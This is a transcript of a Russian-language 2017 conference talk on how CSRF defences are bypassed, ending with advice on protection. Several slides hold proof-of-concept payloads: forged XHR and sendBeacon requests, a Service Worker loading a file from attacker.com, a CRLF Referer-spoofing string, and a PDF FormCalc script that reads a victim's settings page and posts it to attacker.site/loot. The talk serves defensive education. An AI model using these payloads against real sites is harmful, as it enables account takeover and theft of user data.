CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении

Презентация с Highload2017 про эксплуатацию CSRF-уязвимостей в 2017.

Transcript

1. CSRF-уязвимости все
   еще актуальны:
   как атакующие обходят
   CSRF-защиту в вашем
   веб-приложении
   Михаил Егоров
   

   View Slide

2. Дисклеймер
   ИНФОРМАЦИЯ в данной
   презентации является сугубо
   мнением автора …
   Crazy Russian hackers
   

   View Slide

3. О себе
   AppSec Engineer @ Ingram Micro Cloud
   Security researcher & Bug hunter
   @0ang3el
   

   View Slide

4. Почему CSRF-атаки работают?
   Веб-приложение использует cookies для управления сессией
   пользователя!
   Браузер автоматически отправляет cookies вместе с HTTP-запросом,
   даже cross-origin
   

   View Slide

5. Cookies
   Небольшой фрагмент данных, отправленный веб-сервером и
   хранимый на компьютере пользователя, браузер всякий раз
   пересылает этот фрагмент данных веб-серверу в составе HTTP-
   запроса
   Сервер
   Клиент
   Set-Cookie: name=value; expires=date; path=/; domain=.example.org;
   secure; httponly;
   Cookie: name=newvalue;
   

   View Slide

6. Cookies
   До сих пор используются многими веб-приложениями для
   управления сессией пользователя
   Впервые сookies появились в браузере Netscape в 1994 году
   

   View Slide

7. Классическая CSRF-атака
   POST /user/address/shipping HTTP/1.1
   Host: example.com
   User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Referer: https://example.com
   Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
   Connection: close
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 43
   city=Moscow&street=Prospekt+Mira&zip=12345
   

   View Slide

8. Классическая CSRF-атака
   
   
   history.pushState('', '', '/')
   method="POST">
   
   
   
   
   
   
   
   https://attacker.com/csrf-form.html
   

   View Slide

9. Классическая CSRF-атака
   <br/>var request = new XMLHttpRequest();<br/>var data = 'city=Moscow&street=Prosperkt+Mira&zip=12345';<br/>request.open('POST', 'https://example.com/user/address/shipping', true);<br/>request.withCredentials = true; // INCLUDE COOKIES<br/>request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");<br/>request.send(data);<br/>
   https://attacker.com/csrf-xhr.html
   

   View Slide

10. Классическая CSRF-атака
    https://example.com
    https://attacker.com
    csrf-xhr.html
    

    View Slide

11. Классическая CSRF-атака
    https://example.com
    https://attacker.com
    https:/attacker.com/csrf-xhr.html
    csrf-xhr.html
    

    View Slide

12. Классическая CSRF-атака
    https://example.com
    https://attacker.com
    https:/attacker.com/csrf-xhr.html
    POST /user/address/shipping HTTP/1.1
    HOST: example.com
    Cookie: JSESSIONID=728F...
    

    View Slide

13. История CSRF-атак
    Эксплуатируются с 2001 года
    Публичные CSRF-уязвимости в популярных проектах 2008-2012:
    1. YouTube
    2. The New York Times
    3. Badoo
    4. Slideshare
    5. Vimeo
    6. Hulu
    7. КиноПоиск
    8. …
    

    View Slide

14. Насколько серьезны CSRF-уязвимости
    Зависит от критичности уязвимого action’a
     …
     Account takeover (смена email)
     Privilege Escalation (создание нового пользователя с высокими
    правами)
     Remote code execution (эксплуатация command injection в
    админке)
    

    View Slide

15. Насколько серьезны CSRF-уязвимости
    OWASP Top 10 - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
    не вошла в Top 10 – 2017 (RC2)
    A8 – 2017 (RC1)
    A8 – 2013
    А5 – 2010
    

    View Slide

16. Насколько серьезны CSRF-уязвимости
    Bugcrowd VRT - https://bugcrowd.com/vulnerability-rating-taxonomy
    * VRT – Vulnerability Rating Taxonomy
    Application-wide CSRF – P2 (High)
    

    View Slide

17. Популярные варианты защиты от CSRF
     CSRF token
     Double submit cookie
     Content-Type based protection
     Referer-based protection
     Password confirmation (websudo)
     SameSite Cookies (Chrome, Opera)
    You shall not pass!!!
    You shall not PASS!!!
    

    View Slide

18. Популярные варианты защиты от CSRF
     CSRF token (1 из 6)
     Уникальный и высокоэнтропийный токен для каждой
    пользовательской сессии
     Токен вставляется в DOM или доступен через API
     Пользователь должен отправить токен в параметре или
    хэдере запроса
     Атакующий не знает токен → классическая CSRF-атака не
    работает
    

    View Slide

19. Популярные варианты защиты от CSRF
     Double submit cookie (2 из 6)
     Уникальный и высокоэнтропийный токен для каждой
    пользовательской сессии помещается в cookies
     Пользователь должен отправить одинаковые значения в
    cookies и в параметре запроса
     Атакующий не может изменить cookies → классическая CSRF-
    атака не работает
    

    View Slide

20. Популярные варианты защиты от CSRF
     Content-Type based protection (3 из 6)
     Пользователь должен отправить запрос с определенным
    заголовком Content-Type, например
    application/json
     Браузер через форму или XHR не может отправить
    произвольный Content-Type cross-origin → классическая CSRF-
    атака не работает
    

    View Slide

21. Популярные варианты защиты от CSRF
     Referer-based protection (4 из 6)
     Пользователь должен отправить запрос с определенным
    заголовком Referer
     Браузер не может отправить произвольный Referer через
    форму или XHR → классическая CSRF-атака не работает
    

    View Slide

22. Популярные варианты защиты от CSRF
     Password confirmation / websudo (5 из 6)
     Действие либо доступ к критичному функционалу
    подтверждается вводом пароля (секрета)
     Атакующий не знает пароля → классическая CSRF-атака не
    работает
    

    View Slide

23. Популярные варианты защиты от CSRF
     SameSite Cookies в Chrome, Opera (6 из 6)
     Дополнительный атрибут у cookies – samesite (значения lax и
    strict)
     Браузер не отправляет cookies, если запрос осуществляется с
    сайта атакующего → классическая CSRF-атака не работает
    

    View Slide

24. К сожалению… нередко бывает так
    

    View Slide

25. «Магия» обхода CSRF-защиты
     XSS
     Dangling markup
     Vulnerable subdomains
     Cookie injection
     Change Content-Type
     Non-simple Content-Type
     Bad PDF
     Referer spoof
    А ты думал, я с тобой
    шутки шучу
    

    View Slide

26. Сценарий обхода – XSS (1 из 8)
    XSS (Cross-Site Scripting) в приложении позволяет обойти
    большинство типов CSRF-защиты!
    Просто
    смирись c
    этим!!!
    

    View Slide

27. Когда есть HTML injection, но нет XSS (например, есть
    Content Security Policy - CSP)
    Атакующий может заполучить CSRF-токен через Dangling
    markup injection
    Сценарий обхода – Dangling markup (2 из 8)
    
    

    View Slide

28. Сценарий обхода – уязвимый субдомен (3 из 8)
    Один из поддоменов foo.example.com уязвим к subdomain
    takeover или XSS
    Атакующий сможет обойти следующие типы CSRF-защиты:
     CSRF tokens
     Double submit cookie
     Content-Type based protection
    

    View Slide

29. Приложение использует CORS (Cross-Origin Resource Sharing)
    для междоменного взаимодействия
    Атакующий сможет прочитать CSRF-токен
    Access-Control-Allow-Origin: https://foo.example.com
    Access-Control-Allow-Credentials: true
    Сценарий обхода – уязвимый субдомен (3 из 8)
    

    View Slide

30. На основном домене есть crossdomain.xml который разрешает
    взаимодействие для субдоменов
    Атакующий может загрузить файл с JS на foo.example.com
    Пример - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/
    
    
    
    Сценарий обхода – уязвимый субдомен (3 из 8)
    

    View Slide

31. Атакующий может использовать Service Worker для субдомена
    foo.example.com
    Через SWF атакующий сможет прочитать CSRF-токен!
    var url = "https://attacker.com/bad.swf";
    onfetch = (e) => {
    e.respondWith(fetch(url);
    }
    Сценарий обхода – уязвимый субдомен (3 из 8)
    

    View Slide

32. Атакующий сможет установить cookie для родительского домена на
    интересующий path
    Браузер выберет cookie с самым длинным path
    Тем самым атакующий сможет обойти защиту Double submit cookie
    Сценарий обхода – уязвимый субдомен (3 из 8)
    

    View Slide

33. Сценарий обхода – bad PDF (4 из 8)
    PDF plugin от Adobe поддерживает FormCalc
    PDF plugin от Adobe работает в IE11 и Firefox ESR
    В FormCalc есть методы get() и post()
    Атакующий получает CSRF-токен жертвы
    

    View Slide

34. Сценарий обхода – bad PDF (4 из 8)
    Допустим, у нас есть возможность загрузить PDF в веб-
    приложение (можно загрузить PDF как файл другого формата – картинкy )
    У приложения есть API на интересующем домене, которое
    позволяет получать содержимое загруженного PDF
    

    View Slide

35. Сценарий обхода – bad PDF (4 из 8)
    Nothing to see here!
    type='application/pdf'>
    https://attacker.com/csrf-badpdf.html
    

    View Slide

36. Сценарий обхода – bad PDF (4 из 8)
    <br/>var content = GET("https://example.com/Settings.action");<br/>Post("http://attacker.site/loot",content,"text/plain");<br/>
    leak.pdf
    

    View Slide

37. Сценарий обхода – bad PDF (4 из 8)
    Фокус в том, что для PDF plugin не важен Content-Type и
    другие заголовки (например, Content-Disposition)!
    

    View Slide

38. Сценарий обхода – cookie injection (5 из 8)
    Атакующий в результате сookie injection сможет обойти
    защиту Double submit cookie
    Варианты cookie injection
     CRLF injection
     Особенности обработки cookie браузером – comma-separated
    cookies (Safari)
     Баги браузера (например, CVE-2016-9078 в FF)
    

    View Slide

39. Сценарий обхода – change Content-Type (6 из 8)
    Некоторые считают, что нестандартный формат данных в
    теле POST-запроса спасает от CSRF !?
    SRSLY?
    

    View Slide

40. POST /user/add/note HTTP/1.1
    Host: example.com
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://example.com
    Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
    Connection: close
    Content-Type: application/x-thrift
    Content-Length: 43
    �addNote � � r �
    Сценарий обхода – change Content-Type (6 из 8)
    

    View Slide

41. <br/>var request = new XMLHttpRequest();<br/>request.open('POST', 'https://example.com/add/note', true);<br/>request.withCredentials = true;<br/>request.setRequestHeader("Content-type", "text/plain");<br/>var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55',<br/>'0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00'];<br/>var bin = new Uint8Array(data.length);<br/>for (var i = 0; i < data.length; i++) {<br/>bin[i] = parseInt(data[i], 16);<br/>}<br/>request.send(bin);<br/>
    https://attacker.com/csrf-thrift.html
    Сценарий обхода – change Content-Type (6 из 8)
    

    View Slide

42. Сценарий обхода – non-simple Content-Type (7 из 8)
    Валидные значения content type, которые можно
    отправить из HTML-формы и через XHR без OPTIONS
    preflight - aka simple content types
     text/plain
     application/x-www-form-urlencoded
     multipart/form-data
    

    View Slide

43. Как отправить произвольный Content-Type:
     Баги в браузерах (например, Navigator.sendBeacon)
     Flash plugin + 307 redirect
     PDF plugin + 307 redirect
     Некоторые фреймворки поддерживают URL-
    параметры для переопределения Content-Type
    http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging
    Сценарий обхода – non-simple Content-Type (7 из 8)
    

    View Slide

44. Баг в Chrome - https://bugs.chromium.org/p/chromium/issues/detail?id=490015
    Можно было эксплуатировать с 2015 по 07.2017   
    Navigator.sendBeacon() позволял отправить POST-запрос с
    любым Content-Type на другой origin
    Сценарий обхода – non-simple Content-Type (7 из 8)
    

    View Slide

45. <br/>function jsonreq() {<br/>var data = '{"action":"add-user-email","Email":"attacker@evil.com"}';<br/>var blob = new Blob([data], {type : 'application/json;charset=utf-8'});<br/>navigator.sendBeacon('https://example.com/home/rpc', blob );<br/>}<br/>jsonreq();<br/>
    https://attacker.com/csrf-sendbeacon.html
    Сценарий обхода – non-simple Content-Type (7 из 8)
    

    View Slide

46. Как это работает - http://research.rootme.in/forging-content-type-header-with-flash/
    Сценарий обхода – non-simple Content-Type (7 из 8)
    

    View Slide

47. Сценарий обхода – spoof Referer (8 из 8)
    Баг в Edge - https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
    Еще работает 
    Ho работает только для GET-запросов 
    

    View Slide

48. Сценарий обхода – spoof Referer (8 из 8)
    <br/>Post("http://attacker.com:8888/redirect",<br/>"{""action"":""add-user-email"",""Email"":""attacker@evil.com""}",<br/>"application/json&#x0a;&#x0d;Referer;&#x20;http://example.com")<br/>
    

    View Slide

49. Сценарий обхода – spoof Referer (8 из 8)
    В бэкенд будет отправлен header
    Некоторые серверы воспринимают пробел как конец имени
    HTTP-заголовка (например, WildFly или Jboss) – т.е. двоеточие `:`
    Referer http://example.com
    Имя :Значение
    Referer http://example.com
    Имя :Значение
    

    View Slide

50. Обход CSRF-защиты – Итог
    CSRF Tokens
    Double Submit
    Cookie
    CT-based Referer-based SameSite Cookies
    XSS All All All All All
    Dangling markup All - - - All*
    Subdomain issues All All All - All*
    Cookie Injection - All - - All*
    Change CT - - All - All*
    Non-simple CT - - All with Flash plugin,
    IE11/FF ESR with Pdf
    plugin
    - All*
    Bad Pdf IE11/FF ESR with
    Pdf plugin
    - IE11/FF ESR with Pdf
    plugin
    - All*
    Spoof Referer - - - IE11/FF ESR with Pdf
    plugin, Edge
    All*
    All – works for all browsers
    All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)
    

    View Slide

51. Как все-таки правильно защититься от CSRF
    Не использовать cookies для управления пользовательской сессией
    

    View Slide

52. Как все-таки правильно защититься от CSRF
    … eсли не можете отказаться от cookies
     Моделируйте угрозы и проверяйте реализацию (см. Итоговую
    таблицу)
     Имплементируйте SameSite Cookies
     Комбинируйте различные CSRF-защиты – defense in depth
     Спрашивайте у пользователя пароль для выполнения критичных
    action’ов
     Отдавайте загружаемые файлы с отдельного домена
    

    View Slide

53. Q&A
    

    View Slide